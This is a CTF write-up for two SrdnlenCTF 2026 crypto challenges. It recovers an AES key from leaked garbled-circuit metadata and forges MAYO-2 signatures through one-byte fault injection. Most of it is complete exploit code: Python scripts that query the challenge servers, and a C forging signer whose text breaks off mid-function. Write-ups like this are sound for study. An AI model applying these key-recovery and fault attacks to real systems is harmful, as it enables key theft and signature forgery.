🇮🇹SrdnlenCTF 2026

Writeups for all but two challenges

crypto

FHAES

Description

Service provides garbled-circuit evaluation of AES-based operations with a fixed per-connection secret key. Available circuits include encrypt, decrypt, add, multiply, and custom_circuit (wrapped as Enc_k(custom(Dec_k(ct)))). Goal: recover the 16-byte AES key and submit it.

Solution

The break is on garbling metadata, not AES cryptanalysis.

1. Build a custom_circuit that adds exactly one attacker-controlled AND gate:

   • a = x0 XOR x0

   • b = NOT(a)

   • y0 = a AND b

   • y1..y127 = xi XOR xi

2. In this construction, the custom AND gate leaks the global Free-XOR offset:

   • delta = gate0 XOR gate1 for that custom AND table entry.

3. Key-schedule section of the AES circuit is fully garbled before evaluator-dependent AES rounds.

   • First 1360 AND gates are key-schedule-only.

   • We can evaluate this prefix locally as evaluator using received key_evaluator labels and AND tables.

4. Record the first 40 key-schedule S-box input-wire sets (done locally by instrumenting circuit construction).

5. For each of the first 16 key-schedule S-box calls (4 rounds of schedule bytes):

   • Known: active wire labels for that S-box input byte (A0..A7) and delta.

   • Unknown: semantic input byte bits.

   • For each candidate byte v in [0..255], derive candidate zero labels (Zi = Ai if bit 0 else Ai ^ delta), re-garble one optimized S-box chunk (34 ANDs), and compare with observed AND tables at that chunk offset.

   • Each chunk yields a unique byte.

6. Reconstruct words w3, w7, w11, w15 from chunk order (chunks are on RotWord order).

7. Recover initial words w0, w1, w2 algebraically from AES-128 schedule recurrence using:

   • w7, w11, w15 and g(w3), g(w7), g(w11).

8. Key is w0 || w1 || w2 || w3.

9. Send empty circuit line to exit loop, submit recovered key, receive flag.

Recovered flag: srdnlen{I_hope_you_didn't_slop_this_one...although_I_don't_know_if_you_can_slop_it...}

Solution code used:

#!/usr/bin/env python3
import hashlib
import json
import re
import sys
from typing import Dict, List, Tuple

from pwn import context, remote

sys.path.insert(0, "work/extracted_2")

import common
from srdnlengarble import BinaryGate
from srdnlengarble.circuits.aes import AES
from srdnlengarble.circuits.gf2e import GF2E as GF2EValue
from srdnlengarble.circuits.optimized_sbox import OptimizedSBox
from srdnlengarble.garble.channel import bytes_to_point, point_to_bytes
from srdnlengarble.wires.gf2e import GF2E as WireGF2E

HOST = "fhaes.challs.srdnlen.it"
PORT = 1337

TOP_FORWARD = [
    "T1 = U0 + U3",
    "T2 = U0 + U5",
    "T3 = U0 + U6",
    "T4 = U3 + U5",
    "T5 = U4 + U6",
    "T6 = T1 + T5",
    "T7 = U1 + U2",
    "T8 = U7 + T6",
    "T9 = U7 + T7",
    "T10 = T6 + T7",
    "T11 = U1 + U5",
    "T12 = U2 + U5",
    "T13 = T3 + T4",
    "T14 = T6 + T11",
    "T15 = T5 + T11",
    "T16 = T5 + T12",
    "T17 = T9 + T16",
    "T18 = U3 + U7",
    "T19 = T7 + T18",
    "T20 = T1 + T19",
    "T21 = U6 + U7",
    "T22 = T7 + T21",
    "T23 = T2 + T22",
    "T24 = T2 + T10",
    "T25 = T20 + T17",
    "T26 = T3 + T16",
    "T27 = T1 + T12",
]

SHARED = [
    "M1 = T13 x T6",
    "M2 = T23 x T8",
    "M3 = T14 + M1",
    "M4 = T19 x D",
    "M5 = M4 + M1",
    "M6 = T3 x T16",
    "M7 = T22 x T9",
    "M8 = T26 + M6",
    "M9 = T20 x T17",
    "M10 = M9 + M6",
    "M11 = T1 x T15",
    "M12 = T4 x T27",
    "M13 = M12 + M11",
    "M14 = T2 x T10",
    "M15 = M14 + M11",
    "M16 = M3 + M2",
    "M17 = M5 + T24",
    "M18 = M8 + M7",
    "M19 = M10 + M15",
    "M20 = M16 + M13",
    "M21 = M17 + M15",
    "M22 = M18 + M13",
    "M23 = M19 + T25",
    "M24 = M22 + M23",
    "M25 = M22 x M20",
    "M26 = M21 + M25",
    "M27 = M20 + M21",
    "M28 = M23 + M25",
    "M29 = M28 x M27",
    "M30 = M26 x M24",
    "M31 = M20 x M23",
    "M32 = M27 x M31",
    "M33 = M27 + M25",
    "M34 = M21 x M22",
    "M35 = M24 x M34",
    "M36 = M24 + M25",
    "M37 = M21 + M29",
    "M38 = M32 + M33",
    "M39 = M23 + M30",
    "M40 = M35 + M36",
    "M41 = M38 + M40",
    "M42 = M37 + M39",
    "M43 = M37 + M38",
    "M44 = M39 + M40",
    "M45 = M42 + M41",
    "M46 = M44 x T6",
    "M47 = M40 x T8",
    "M48 = M39 x D",
    "M49 = M43 x T16",
    "M50 = M38 x T9",
    "M51 = M37 x T17",
    "M52 = M42 x T15",
    "M53 = M45 x T27",
    "M54 = M41 x T10",
    "M55 = M44 x T13",
    "M56 = M40 x T23",
    "M57 = M39 x T19",
    "M58 = M43 x T3",
    "M59 = M38 x T22",
    "M60 = M37 x T20",
    "M61 = M42 x T1",
    "M62 = M45 x T4",
    "M63 = M41 x T2",
]


def h_wire(wire: int, and_idx: int) -> int:
    h = hashlib.shake_128()
    h.update(wire.to_bytes(16, "big"))
    h.update(and_idx.to_bytes(16, "big"))
    return int.from_bytes(h.digest(16), "big")


def garble_and(A: int, B: int, D: int, and_idx: int) -> Tuple[int, int, int]:
    r = B & 1
    alpha = A & 1
    beta = B & 1

    X1 = A ^ (D * alpha)
    Y1 = B ^ (D * beta)

    AD = A ^ D
    BD = B ^ D

    Bsel = BD if beta == 0 else B
    newA = AD if alpha == 0 else A

    hashA = h_wire(newA, and_idx)
    hashB = h_wire(Bsel, and_idx)
    hashX = h_wire(X1, and_idx)
    hashY = h_wire(Y1, and_idx)

    X = hashX ^ (D * ((alpha * r) % 2))
    Y = hashY

    idx = r if alpha == 0 else 0
    gate0 = hashA ^ (X if idx == 0 else X ^ D)
    gate1 = hashB ^ (Y ^ A)
    z = X ^ Y
    return gate0, gate1, z


def evaluator_and(A: int, B: int, gate0: int, gate1: int, and_idx: int) -> int:
    hashA = h_wire(A, and_idx)
    hashB = h_wire(B, and_idx)
    L = hashA if (A & 1) == 0 else (hashA ^ gate0)
    R = hashB if (B & 1) == 0 else (hashB ^ gate1)
    return L ^ R ^ (A * (B & 1))


def build_leak_circuit() -> List[dict]:
    circuit = [
        {"type": "XOR", "inputs": ["x0", "x0"], "output": "a"},
        {"type": "NOT", "inputs": ["a"], "output": "b"},
        {"type": "AND", "inputs": ["a", "b"], "output": "y0"},
    ]
    for i in range(1, 128):
        circuit.append({"type": "XOR", "inputs": [f"x{i}", f"x{i}"], "output": f"y{i}"})
    return circuit


def build_metadata() -> Tuple[object, str, List[Tuple[int, ...]], int, int, int]:
    leak_circuit = build_leak_circuit()

    sbox_inputs: List[Tuple[int, ...]] = []
    orig_sbox = AES.sbox

    def wrapped_sbox(byte):
        if isinstance(byte, WireGF2E):
            sbox_inputs.append(tuple(byte.wires))
        return orig_sbox(byte)

    AES.sbox = staticmethod(wrapped_sbox)
    try:
        bc, _ = common.custom_circuit(leak_circuit)
    finally:
        AES.sbox = orig_sbox

    if len(sbox_inputs) < 40:
        raise RuntimeError(f"unexpected sbox count: {len(sbox_inputs)}")
    sbox_inputs = sbox_inputs[:40]

    custom_and_idx = None
    and_idx = 0
    a_wire = None
    b_wire = None
    for gate in bc.gates:
        if isinstance(gate, BinaryGate.Xor) and gate.input_left == gate.input_right and a_wire is None:
            a_wire = gate.output_wire
        elif isinstance(gate, BinaryGate.Not) and a_wire is not None and gate.input_wire == a_wire and b_wire is None:
            b_wire = gate.output_wire
        elif isinstance(gate, BinaryGate.And):
            if a_wire is not None and b_wire is not None and gate.input_left == a_wire and gate.input_right == b_wire:
                custom_and_idx = and_idx
                break
            and_idx += 1

    if custom_and_idx is None:
        raise RuntimeError("failed to locate custom AND index")

    num_and = sum(isinstance(g, BinaryGate.And) for g in bc.gates)
    num_outputs = bc.num_outputs
    garble_lines = 2 * num_and + 2 * num_outputs

    dep_eval = {wid: False for wid in bc.garbler_inputs}
    dep_keys = {wid: {i} for i, wid in enumerate(bc.garbler_inputs)}
    for wid in bc.evaluator_inputs:
        dep_eval[wid] = True
        dep_keys[wid] = set()

    keysched_and_count = None
    and_counter = 0
    for gate in bc.gates:
        if isinstance(gate, BinaryGate.Xor):
            dep_eval[gate.output_wire] = dep_eval[gate.input_left] or dep_eval[gate.input_right]
            dep_keys[gate.output_wire] = dep_keys[gate.input_left] | dep_keys[gate.input_right]
        elif isinstance(gate, BinaryGate.Not):
            dep_eval[gate.output_wire] = dep_eval[gate.input_wire]
            dep_keys[gate.output_wire] = set(dep_keys[gate.input_wire])
        elif isinstance(gate, BinaryGate.And):
            l_eval = dep_eval[gate.input_left]
            r_eval = dep_eval[gate.input_right]
            dep_eval[gate.output_wire] = l_eval or r_eval
            dep_keys[gate.output_wire] = dep_keys[gate.input_left] | dep_keys[gate.input_right]
            if keysched_and_count is None and (l_eval or r_eval):
                keysched_and_count = and_counter
                break
            and_counter += 1
        elif isinstance(gate, BinaryGate.EqualityConstraint):
            lhs_eval = dep_eval.get(gate.lhs)
            rhs_eval = dep_eval.get(gate.rhs)
            lhs_keys = dep_keys.get(gate.lhs)
            rhs_keys = dep_keys.get(gate.rhs)
            if lhs_eval is not None and rhs_eval is None:
                dep_eval[gate.rhs] = lhs_eval
                dep_keys[gate.rhs] = set(lhs_keys)
            elif rhs_eval is not None and lhs_eval is None:
                dep_eval[gate.lhs] = rhs_eval
                dep_keys[gate.lhs] = set(rhs_keys)
            elif lhs_eval is not None and rhs_eval is not None:
                ev = lhs_eval or rhs_eval
                ks = lhs_keys | rhs_keys
                dep_eval[gate.lhs] = ev
                dep_eval[gate.rhs] = ev
                dep_keys[gate.lhs] = set(ks)
                dep_keys[gate.rhs] = set(ks)

    if keysched_and_count != 1360:
        raise RuntimeError(f"unexpected key-schedule AND count: {keysched_and_count}")

    arg_hex = json.dumps(leak_circuit, separators=(",", ":")).encode().hex()
    return bc, arg_hex, sbox_inputs, custom_and_idx, keysched_and_count, garble_lines


def recv_hex_line(io) -> int:
    line = io.recvline().strip()
    return int(line, 16)


def get_query_transcript(io, arg_hex: str, garble_lines: int) -> Tuple[List[int], List[Tuple[int, int]], List[int]]:
    prompt = b"Enter circuit name and args (hex encoded JSON): "
    io.recvuntil(prompt)
    io.sendline(f"custom_circuit {arg_hex}".encode())

    key_active = [recv_hex_line(io) for _ in range(128)]

    P_hex = io.recvline().strip()
    P_point = bytes_to_point(bytes.fromhex(P_hex.decode()))
    R_hex = point_to_bytes(2 * P_point).hex().encode()
    io.recvline_contains(b"Sending evaluator input wires for ct (128 bits)...")

    for _ in range(128):
        io.sendline(R_hex)
        _ = recv_hex_line(io)
        _ = recv_hex_line(io)

    io.recvline_contains(b"Evaluating circuit...")

    garble_data = [recv_hex_line(io) for _ in range(garble_lines)]

    return key_active, [(garble_data[2 * i], garble_data[2 * i + 1]) for i in range((garble_lines // 2) - 128)], garble_data


def compute_active_labels_keyschedule(
    bc,
    key_active: List[int],
    and_pairs: List[Tuple[int, int]],
    keysched_and_count: int,
) -> Dict[int, int]:
    wm: Dict[int, int] = {}
    for i, wid in enumerate(bc.garbler_inputs):
        wm[wid] = key_active[i]

    and_idx = 0
    for gate in bc.gates:
        if isinstance(gate, BinaryGate.Xor):
            if gate.input_left in wm and gate.input_right in wm:
                wm[gate.output_wire] = wm[gate.input_left] ^ wm[gate.input_right]
        elif isinstance(gate, BinaryGate.Not):
            if gate.input_wire in wm:
                wm[gate.output_wire] = wm[gate.input_wire]
        elif isinstance(gate, BinaryGate.And):
            if and_idx >= keysched_and_count:
                break
            A = wm[gate.input_left]
            B = wm[gate.input_right]
            g0, g1 = and_pairs[and_idx]
            wm[gate.output_wire] = evaluator_and(A, B, g0, g1, and_idx)
            and_idx += 1
        elif isinstance(gate, BinaryGate.EqualityConstraint):
            lhs = wm.get(gate.lhs)
            rhs = wm.get(gate.rhs)
            if lhs is not None and rhs is None:
                wm[gate.rhs] = lhs
            elif rhs is not None and lhs is None:
                wm[gate.lhs] = rhs
            elif lhs is not None and rhs is not None and lhs != rhs:
                raise RuntimeError("unexpected equality mismatch")

    if and_idx != keysched_and_count:
        raise RuntimeError(f"processed {and_idx} key-schedule ANDs, expected {keysched_and_count}")
    return wm


def solve_chunk_byte(
    chunk_idx: int,
    input_wires: Tuple[int, ...],
    wm: Dict[int, int],
    D: int,
    and_pairs: List[Tuple[int, int]],
) -> int:
    start_and = 34 * chunk_idx
    active_bits = [wm[w] for w in input_wires]

    solutions = []
    for value in range(256):
        z_bits = [active_bits[j] if ((value >> j) & 1) == 0 else (active_bits[j] ^ D) for j in range(8)]
        vars_map = {f"U{i}": z_bits[7 - i] for i in range(8)}

        for line in TOP_FORWARD:
            lhs, rhs = [x.strip() for x in line.split("=")]
            x, y = [x.strip() for x in rhs.split("+")]
            vars_map[lhs] = vars_map[x] ^ vars_map[y]

        vars_map["D"] = vars_map["U7"]

        ok = True
        and_idx = start_and
        for line in SHARED:
            lhs, rhs = [x.strip() for x in line.split("=")]
            if " x " in rhs:
                x, y = [x.strip() for x in rhs.split(" x ")]
                g0, g1, z = garble_and(vars_map[x], vars_map[y], D, and_idx)
                if (g0, g1) != and_pairs[and_idx]:
                    ok = False
                    break
                vars_map[lhs] = z
                and_idx += 1
            else:
                x, y = [x.strip() for x in rhs.split("+")]
                vars_map[lhs] = vars_map[x] ^ vars_map[y]

        if ok:
            solutions.append(value)

    if len(solutions) != 1:
        raise RuntimeError(f"chunk {chunk_idx} has {len(solutions)} candidates")
    return solutions[0]


def xor_words(a: List[int], b: List[int]) -> List[int]:
    return [x ^ y for x, y in zip(a, b)]


def g_word(word: List[int], rcon_byte: int) -> List[int]:
    rot = [word[1], word[2], word[3], word[0]]
    sub = [OptimizedSBox.sbox(GF2EValue(x, 0x11B)).value for x in rot]
    sub[0] ^= rcon_byte
    return sub


def recover_key_from_transcript(
    bc,
    sbox_inputs: List[Tuple[int, ...]],
    key_active: List[int],
    and_pairs: List[Tuple[int, int]],
    custom_and_idx: int,
    keysched_and_count: int,
) -> bytes:
    D = and_pairs[custom_and_idx][0] ^ and_pairs[custom_and_idx][1]

    wm = compute_active_labels_keyschedule(bc, key_active, and_pairs, keysched_and_count)

    chunk_vals = [solve_chunk_byte(i, sbox_inputs[i], wm, D, and_pairs) for i in range(16)]

    def word_from_chunk(base: int) -> List[int]:
        v0, v1, v2, v3 = chunk_vals[base:base + 4]
        return [v3, v0, v1, v2]

    A0 = word_from_chunk(0)
    A1 = word_from_chunk(4)
    A2 = word_from_chunk(8)
    A3 = word_from_chunk(12)

    G0 = g_word(A0, 0x01)
    G1 = g_word(A1, 0x02)
    G2 = g_word(A2, 0x04)

    C1 = xor_words(xor_words(A1, A0), G0)
    C2 = xor_words(xor_words(A2, A1), xor_words(G0, G1))
    C3 = xor_words(xor_words(A3, A2), xor_words(G1, G2))

    w0 = xor_words(C1, C3)
    w1 = xor_words(C1, C2)
    w2 = xor_words(xor_words(C1, C2), C3)

    return bytes(w0 + w1 + w2 + A0)


def main() -> None:
    context.log_level = "error"

    bc, arg_hex, sbox_inputs, custom_and_idx, keysched_and_count, garble_lines = build_metadata()
    num_and = sum(isinstance(g, BinaryGate.And) for g in bc.gates)

    io = remote(HOST, PORT)
    try:
        key_active, and_pairs, _ = get_query_transcript(io, arg_hex, garble_lines)
        if len(and_pairs) != num_and:
            raise RuntimeError(f"AND pair count mismatch: got {len(and_pairs)}, expected {num_and}")

        key = recover_key_from_transcript(
            bc,
            sbox_inputs,
            key_active,
            and_pairs,
            custom_and_idx,
            keysched_and_count,
        )

        io.recvuntil(b"Enter circuit name and args (hex encoded JSON): ")
        io.sendline(b"")
        io.recvuntil(b"Enter your guess for the key (hex): ")
        io.sendline(key.hex().encode())

        out = io.recvall(timeout=3).decode(errors="ignore")
        print(out, end="")

        m = re.search(r"srdnlen\{[^\n}]*\}", out)
        if m:
            print(f"\n[+] Flag: {m.group(0)}")
        else:
            print("\n[-] Flag not found in output")
            print(f"[i] Recovered key: {key.hex()}")
    finally:
        io.close()


if __name__ == "__main__":
    main()

Faulty Mayo

Description

The service exposes a one-byte fault injection in a patched MAYO-2 signer (chall) before returning (pk, sm) for a fixed secret key. The allowed patch window sits inside mayo_sign_signature, specifically in the final s = v + O*x construction. With carefully chosen one-byte patches, each signature query leaks linear equations in one row of secret matrix O over GF(16). Recovering all 64 rows of O lets us forge valid signatures for arbitrary messages and obtain the flag from option 2.

Solution

1. Reverse chall and map patchable offsets to instructions in mayo_sign_signature.

2. Use faulted signatures to obtain equations for unknown row entries of O.

3. Solve each row as a 17-variable linear system over GF(16).

4. Rebuild an equivalent signer using recovered O and public seed_pk from cpk.

5. Forge a valid signature for the challenge message, submit as signed message hex sm = sig || msg.

Fault offsets used per row (MAYO-2):

• row 0: patch 0x62f5 -> 0x7d

• row 1: patch 0x630d -> 0x7d

• rows 2..62: patch 0x6323 + 0x16*(row-2) -> 0x25

• row 63: patch 0x6866 -> 0x25

Exploit script (solve.py):

#!/usr/bin/env python3
import hashlib
import json
import re
import socket
import subprocess
import sys
import time
from pathlib import Path

HOST = "mayo.challs.srdnlen.it"
PORT = 1340

# --- GF(16) arithmetic used by MAYO (x^4 + x + 1)
MUL = [[0] * 16 for _ in range(16)]
for a in range(16):
    for b in range(16):
        p = ((a & 1) * b) ^ ((a & 2) * b) ^ ((a & 4) * b) ^ ((a & 8) * b)
        t = p & 0xF0
        MUL[a][b] = (p ^ (t >> 4) ^ (t >> 3)) & 0xF
INV = [0] * 16
for a in range(1, 16):
    for b in range(1, 16):
        if MUL[a][b] == 1:
            INV[a] = b
            break


def gf_dot(a, b):
    z = 0
    for x, y in zip(a, b):
        z ^= MUL[x][y]
    return z


def solve_linear(equations, nvars=17):
    # equations: list[(xvec, y)] over GF16
    A = [x[:] + [y] for x, y in equations]
    m = len(A)
    row = 0
    pivots = []

    for col in range(nvars):
        piv = None
        for r in range(row, m):
            if A[r][col] != 0:
                piv = r
                break
        if piv is None:
            continue

        A[row], A[piv] = A[piv], A[row]
        invp = INV[A[row][col]]
        A[row] = [MUL[invp][v] for v in A[row]]

        for r in range(m):
            if r != row and A[r][col] != 0:
                f = A[r][col]
                A[r] = [A[r][c] ^ MUL[f][A[row][c]] for c in range(nvars + 1)]

        pivots.append((row, col))
        row += 1
        if row == m:
            break

    # inconsistency check
    for r in range(m):
        if all(A[r][c] == 0 for c in range(nvars)) and A[r][nvars] != 0:
            return None, row

    sol = [0] * nvars
    for r, c in pivots:
        sol[c] = A[r][nvars]
    return sol, row


# --- challenge-specific helpers
CHALL_PATH = Path("attachments/chall")
CHALL_BYTES = CHALL_PATH.read_bytes()


def patch_params_for_target(orig, target):
    # server applies:
    # new = (orig & (0xf0 if idx2 else 0x0f)) | (val << (0 if idx2 else 4))
    # use idx2=1 if possible
    for val in range(256):
        new = (orig & 0xF0) | val
        if new == target:
            return 1, val
    # fallback idx2=0 (val must be nibble to avoid overflow in server code)
    for val in range(16):
        new = (orig & 0x0F) | (val << 4)
        if new == target:
            return 0, val
    raise ValueError(f"cannot patch byte {orig:02x} -> {target:02x}")


def row_patch(row_idx):
    if row_idx == 0:
        off = 0x62F5
        target = 0x7D
    elif row_idx == 1:
        off = 0x630D
        target = 0x7D
    elif 2 <= row_idx <= 62:
        off = 0x6323 + (row_idx - 2) * 0x16
        target = 0x25
    elif row_idx == 63:
        off = 0x6866
        target = 0x25
    else:
        raise ValueError("row out of range")

    orig = CHALL_BYTES[off]
    idx2, val = patch_params_for_target(orig, target)
    return off, idx2, val


def recv_all(sock, timeout=3.0):
    sock.settimeout(timeout)
    chunks = []
    while True:
        try:
            data = sock.recv(4096)
            if not data:
                break
            chunks.append(data)
        except socket.timeout:
            break
    return b"".join(chunks)


def recv_until_text(sock, markers, total_timeout=15.0, chunk_timeout=0.8):
    deadline = time.time() + total_timeout
    data = b""
    while time.time() < deadline:
        rem = max(0.05, deadline - time.time())
        sock.settimeout(min(chunk_timeout, rem))
        try:
            chunk = sock.recv(4096)
        except socket.timeout:
            continue
        if not chunk:
            break
        data += chunk
        text = data.decode("latin1", "ignore")
        if all(m in text for m in markers):
            return text
    return data.decode("latin1", "ignore")


def query_fault(off, idx2, val, retries=12):
    for attempt in range(retries):
        try:
            with socket.create_connection((HOST, PORT), timeout=5) as s:
                _ = recv_all(s, timeout=0.4)
                s.sendall(b"1\n")
                time.sleep(0.03)
                _ = recv_all(s, timeout=0.3)
                s.sendall(f"{off}\n".encode())
                time.sleep(0.03)
                _ = recv_all(s, timeout=0.3)
                s.sendall(f"{idx2}\n".encode())
                time.sleep(0.03)
                _ = recv_all(s, timeout=0.3)
                s.sendall(f"{val}\n".encode())
                out = recv_until_text(s, ("pk: ", "sm: "), total_timeout=15.0, chunk_timeout=0.8)

            m_pk = re.search(r"pk: ([0-9a-f]+)", out)
            m_sm = re.search(r"sm: ([0-9a-f]+)", out)
            if not (m_pk and m_sm):
                raise RuntimeError(f"missing pk/sm in oracle response (len={len(out)})")

            pk_hex = m_pk.group(1)
            sm_hex = m_sm.group(1)
            sm = bytes.fromhex(sm_hex)
            if len(sm) < 186:
                raise RuntimeError(f"short sm ({len(sm)} bytes)")
            return pk_hex, sm
        except Exception:
            if attempt == retries - 1:
                raise
            time.sleep(0.7)


def decode_sig_to_s(sig_bytes):
    # sig is 186 bytes for MAYO-2, first 162 bytes are encoded s (324 nibbles)
    s_enc = sig_bytes[:162]
    s = []
    for b in s_enc:
        s.append(b & 0x0F)
        s.append((b >> 4) & 0x0F)
    return s


def recover_rows():
    checkpoint = Path("rows_checkpoint.json")
    rows = [None] * 64
    cpk_hex = None

    if checkpoint.exists():
        data = json.loads(checkpoint.read_text())
        rows = data.get("rows", rows)
        cpk_hex = data.get("cpk_hex")

    for j in range(64):
        if rows[j] is not None:
            print(f"row {j:02d} already solved, skipping")
            continue

        off, idx2, val = row_patch(j)
        eqs = []

        while True:
            pk_hex, sm = query_fault(off, idx2, val)
            if cpk_hex is None:
                cpk_hex = pk_hex
            elif cpk_hex != pk_hex:
                raise RuntimeError("public key changed across queries")

            s = decode_sig_to_s(sm[:186])
            if len(s) < 324:
                continue
            for i in range(4):
                base = i * 81
                x = s[base + 64: base + 81]
                y = s[base + j]
                if len(x) != 17:
                    continue
                eqs.append((x, y))

            sol, rank = solve_linear(eqs)
            if sol is not None and rank >= 17:
                # sanity-check all equations collected so far
                if all(gf_dot(sol, x) == y for x, y in eqs):
                    rows[j] = sol
                    print(f"row {j:02d} solved with {len(eqs)} equations")

                    checkpoint.write_text(json.dumps({
                        "rows": rows,
                        "cpk_hex": cpk_hex,
                    }))
                    break

            # avoid infinite loops if something goes wrong
            if len(eqs) > 120:
                raise RuntimeError(f"failed to solve row {j}")

    return rows, cpk_hex


def forge_signature(message, seed_pk_hex, o_hex, cpk_hex=None):
    cmd = ["./forge_mayo", message, seed_pk_hex, o_hex]
    if cpk_hex is not None:
        cmd.append(cpk_hex)
    p = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
    if p.returncode != 0:
        raise RuntimeError(f"forge failed rc={p.returncode}: {p.stderr.strip()}")
    sig_hex = p.stdout.strip()
    if not re.fullmatch(r"[0-9a-f]+", sig_hex):
        raise RuntimeError("forge returned non-hex")
    return sig_hex


def get_flag_with_signature(sm_hex):
    with socket.create_connection((HOST, PORT), timeout=5) as s:
        _ = recv_all(s, timeout=0.4)
        s.sendall(b"2\n")
        banner = recv_all(s, timeout=1.2).decode("latin1", "ignore")
        m = re.search(r'message "([A-Za-z0-9]{32})"', banner)
        if not m:
            raise RuntimeError("could not parse target message")
        msg = m.group(1)

        s.sendall(sm_hex.encode() + b"\n")
        out = recv_all(s, timeout=1.5).decode("latin1", "ignore")
        return msg, out


def main():
    print("[*] Recovering O rows from fault oracle...")
    rows, cpk_hex = recover_rows()

    # Build O bytes hex (1088 bytes, each element 0..15 stored as one byte)
    o_bytes = bytes(v for row in rows for v in row)
    o_hex = o_bytes.hex()

    # MAYO-2 cpk begins with 16-byte seed_pk
    seed_pk_hex = cpk_hex[:32]

    # quick local sanity check with recovered key material against remote cpk
    test_msg = "A" * 32
    _ = forge_signature(test_msg, seed_pk_hex, o_hex, cpk_hex=cpk_hex)
    print("[*] Local verify with recovered key material passed")

    # now request challenge message and forge signature on demand
    # first fetch target message without sending sig, then reconnect with valid sig
    # easiest: get message and submit within same connection by parsing prompt first
    with socket.create_connection((HOST, PORT), timeout=5) as s:
        _ = recv_all(s, timeout=0.4)
        s.sendall(b"2\n")
        banner = recv_all(s, timeout=1.2).decode("latin1", "ignore")
        m = re.search(r'message "([A-Za-z0-9]{32})"', banner)
        if not m:
            raise RuntimeError("could not parse target message")
        target_msg = m.group(1)
        print(f"[*] Target message: {target_msg}")

        sig_hex = forge_signature(target_msg, seed_pk_hex, o_hex, cpk_hex=cpk_hex)
        sm_hex = sig_hex + target_msg.encode().hex()
        s.sendall(sm_hex.encode() + b"\n")
        out = recv_all(s, timeout=1.5).decode("latin1", "ignore")

    print(out)
    mflag = re.search(r"srdnlen\{[^}]+\}", out)
    if not mflag:
        raise RuntimeError("flag not found in response")

    flag = mflag.group(0)
    print(f"[+] FLAG: {flag}")

    # Save artifacts for reproducibility
    Path("recovered_rows.json").write_text(json.dumps(rows))
    Path("recovered_key.json").write_text(json.dumps({
        "seed_pk_hex": seed_pk_hex,
        "cpk_hex": cpk_hex,
        "o_hex": o_hex,
        "flag": flag,
    }))


if __name__ == "__main__":
    main()

Custom signer (forge_mayo.c):

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

// Pull in MAYO internals (static helpers like decode/compute_A/expand_P1_P2)
#include "MAYO-C/src/mayo.c"

static int hexval(char c) {
    if (c >= '0' && c <= '9') return c - '0';
    if (c >= 'a' && c <= 'f') return 10 + (c - 'a');
    if (c >= 'A' && c <= 'F') return 10 + (c - 'A');
    return -1;
}

static int parse_hex(const char *hex, unsigned char *out, size_t out_len) {
    size_t n = strlen(hex);
    if (n != out_len * 2) return -1;
    for (size_t i = 0; i < out_len; i++) {
        int hi = hexval(hex[2*i]);
        int lo = hexval(hex[2*i + 1]);
        if (hi < 0 || lo < 0) return -1;
        out[i] = (unsigned char)((hi << 4) | lo);
    }
    return 0;
}

static void print_hex_buf(const unsigned char *buf, size_t len) {
    for (size_t i = 0; i < len; i++) {
        printf("%02x", buf[i]);
    }
    printf("\n");
}

static int sign_with_O(const mayo_params_t *p,
                       unsigned char *sig,
                       size_t *siglen,
                       const unsigned char *m,
                       size_t mlen,
                       const unsigned char *seed_pk,
                       const unsigned char *O_in) {
    int ret = MAYO_OK;
    unsigned char tenc[M_BYTES_MAX], t[M_MAX];
    unsigned char y[M_MAX];
    unsigned char salt[SALT_BYTES_MAX];
    unsigned char V[K_MAX * V_BYTES_MAX + R_BYTES_MAX], Vdec[V_MAX * K_MAX];
    unsigned char A[((M_MAX + 7) / 8 * 8) * (K_MAX * O_MAX + 1)] = {0};
    unsigned char x[K_MAX * N_MAX];
    unsigned char r[K_MAX * O_MAX + 1] = {0};
    unsigned char s[K_MAX * N_MAX];
    alignas(32) sk_t sk;
    unsigned char Ox[V_MAX];
    unsigned char tmp[DIGEST_BYTES_MAX + SALT_BYTES_MAX + 1];
    unsigned char *vi;

    const int param_m = PARAM_m(p);
    const int param_n = PARAM_n(p);
    const int param_o = PARAM_o(p);
    const int param_k = PARAM_k(p);
    const int param_v = PARAM_v(p);
    const int param_m_bytes = PARAM_m_bytes(p);
    const int param_v_bytes = PARAM_v_bytes(p);
    const int param_r_bytes = PARAM_r_bytes(p);
    const int param_sig_bytes = PARAM_sig_bytes(p);
    const int param_A_cols = PARAM_A_cols(p);
    const int param_digest_bytes = PARAM_digest_bytes(p);
    const int param_salt_bytes = PARAM_salt_bytes(p);

    memset(&sk, 0, sizeof(sk));

    // Build expanded secret from public seed_pk + recovered O.
    expand_P1_P2(p, sk.p, seed_pk);
    memcpy(sk.O, O_in, (size_t)(param_v * param_o));

    uint64_t *P1 = sk.p;
    uint64_t *L = P1 + PARAM_P1_limbs(p);
    uint64_t Mtmp[K_MAX * O_MAX * M_VEC_LIMBS_MAX] = {0};

    // L = (P1 + P1^t)*O + P2
    P1P1t_times_O(p, P1, sk.O, L);

    // digest = H(m)
    shake256(tmp, param_digest_bytes, m, mlen);

    // salt can be arbitrary random bytes for correctness
    if (randombytes(salt, (size_t)param_salt_bytes) != MAYO_OK) {
        return MAYO_ERR;
    }

    // t = H(digest || salt)
    memcpy(tmp + param_digest_bytes, salt, (size_t)param_salt_bytes);
    shake256(tenc, param_m_bytes, tmp, (size_t)(param_digest_bytes + param_salt_bytes));
    decode(tenc, t, param_m);

    int solved = 0;
    for (int attempt = 0; attempt < 20000; attempt++) {
        if (randombytes(V, (size_t)(param_k * param_v_bytes + param_r_bytes)) != MAYO_OK) {
            ret = MAYO_ERR;
            goto err;
        }

        for (int i = 0; i <= param_k - 1; ++i) {
            decode(V + i * param_v_bytes, Vdec + i * param_v, param_v);
        }

        compute_M_and_VPV(p, Vdec, L, P1, Mtmp, (uint64_t*) A);
        compute_rhs(p, (uint64_t*) A, t, y);
        compute_A(p, Mtmp, A);

        for (int i = 0; i < param_m; i++) {
            A[(1 + i) * (param_k * param_o + 1) - 1] = 0;
        }

        decode(V + param_k * param_v_bytes, r, param_k * param_o);

        if (sample_solution(p, A, y, r, x, param_k, param_o, param_m, param_A_cols)) {
            solved = 1;
            break;
        }

        memset(Mtmp, 0, sizeof(Mtmp));
        memset(A, 0, sizeof(A));
    }

    if (!solved) {
        ret = MAYO_ERR;
        goto err;
    }

    for (int i = 0; i <= param_k - 1; ++i) {
        vi = Vdec + i * (param_n - param_o);
        mat_mul(sk.O, x + i * param_o, Ox, param_o, param_n - param_o, 1);
        mat_add(vi, Ox, s + i * param_n, param_n - param_o, 1);
        memcpy(s + i * param_n + (param_n - param_o), x + i * param_o, (size_t)param_o);
    }
